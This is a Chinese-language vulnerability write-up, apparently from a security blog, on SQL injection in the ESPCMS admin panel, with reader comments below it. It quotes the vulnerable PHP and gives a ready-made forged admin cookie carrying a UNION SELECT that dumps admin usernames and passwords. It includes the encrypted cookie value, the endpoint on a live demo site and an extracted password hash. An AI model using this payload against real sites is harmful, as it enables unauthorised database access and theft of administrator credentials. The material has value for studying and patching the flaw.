易思ESPCMS sql注入

漏洞作者: roker

下了最新版来看看,发现 加密函数 还是老样子啊- -

不过 ,查询换成 了 id 而不是 username了,

但是 id 是 intval的。

[php]

function member_cookieview($keyword = false) {

$retrunstr = array();

$retrunstr['username'] = $this->fun->eccode($this->fun->accept('ecisp_member_username', 'C'), 'DECODE', db_pscode);

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));

 

list($retrunstr['userid'], $retrunstr['alias'], $retrunstr['integral'], $retrunstr['mcid'], $retrunstr['email'], $retrunstr['lastip'], $retrunstr['ipadd'], $retrunstr['useragent'], $retrunstr['adminclassurl']) = $user_info;

 

$retrunstr['userid'] = intval($retrunstr['userid']);

$retrunstr['integral'] = intval($retrunstr['integral']);

$retrunstr['mcid'] = intval($retrunstr['mcid']);

 

return !$keyword ? $retrunstr : $retrunstr[$keyword];

}

[/php]

前台利用cookie注入的地方 彩笔我是没找到了, 但是 后台检测管理登入的文件出了问题

/adminsoft/control/management.php

[php]

function onhome() {

parent::start_template();

 

$db_table = db_prefix . 'admin_member';

$db_where = "username='$this->esp_username'";

$rsMember = $this->db->fetch_first('SELECT id,username,password,name,sex,intotime,intime,outtime,ipadd,hit,powergroup,inputclassid,isclass FROM ' . $db_table . ' WHERE ' . $db_where);

$this->ectemplates->assign('username', $rsMember['username']);

$this->ectemplates->assign('name', $rsMember['name']);

if ($rsMember['sex'] == 1) {

$rsMember['sextype'] = $this->lng['select_sex_1'];

} else {

$rsMember['sextype'] = $this->lng['select_sex_0'];

}

 

 

$db_table = db_prefix . 'admin_powergroup';

if (empty($rsMember['powergroup']) && empty($rsMember['username'])) {

exit('Cookie err');

}

$db_where = 'id=' . $rsMember['powergroup'];

..............

[/php]

这里 username 带入了查询。当然 要满足admin_purview()

[php]

$arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode));

 

$this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode));

 

list($esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $esp_powerid, $esp_inputclassid, $this->esp_softurl) = $arr_purview;//在此处 赋值esp_username 导致注入

.................

if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) // 和以前一样 要满足这个条件。

[/php]

用 @索马里的海贼 的方法 得到key 后 构造恶意的cookie 即可注入。

正常的解密后的 cookie是这样子的

1|admin|md5(pass)|md5(admin_AGENT)|1|1|md5(admin_ClassURL)

将admin替换成 sql语句 ,后两个md5 值改下, 得到如下

cookie

[php]

1|' union select 1,username,3,password,5,6,7,8,9,10,11,12,13 from espcms_admin_member#|a|a32b0be10848d387fcc64b92239d689f|1|1|29aac6e385cf17b8d63035edfbe068af

[/php]

自带的函数加密下->

[php]

ecisp_admininfo=Zt5YVtnSmaGmWKqe0sbH2FGUkKzUyKfQk9LGjpSO0sOp1t3V1pZhbWGYXW2QnFxrZGlnZZeSkJVjj5Vqgcmn0Z-FxtXRxc_VlcTK082glKWaz5Ob1oesk7SZamvIkcbJYpOca5nHaJppy8TFl5bEm2iVmZ_IaG1xm95ispXgYmuZmZpvy5ScmZTJlW7Dm5mYZZWUl8bGyMSbk5yexZg

[/php]
调用adminsoft/control/management.php的 onhome

http://demo.ecisp.cn/adminsoft/index.php?archive=management&action=home

修改 cookie ,恩,数据出来了。

1306353017334e6bada88d6f9955c41adbf385c2

6 条评论

  1. xy

    大牛写的小菜只能默默路过,没有完全看懂

  2. redflog

    其实后台有一处不用逆向算法构造cookie的方法就能注入...

  3. panda

    请问修改cookie用的啥插件。

    1. 0day5
      @panda

      各种各样,比如说桂林老兵,浏览器的可以装EditThinCookie之类的插件

  4. 菜鸟求指点

    大牛能否解释的在详细点。。。表示cooikes那里不懂

    1. 0day5
      @菜鸟求指点

      http://0day5.com/archives/1952

发表评论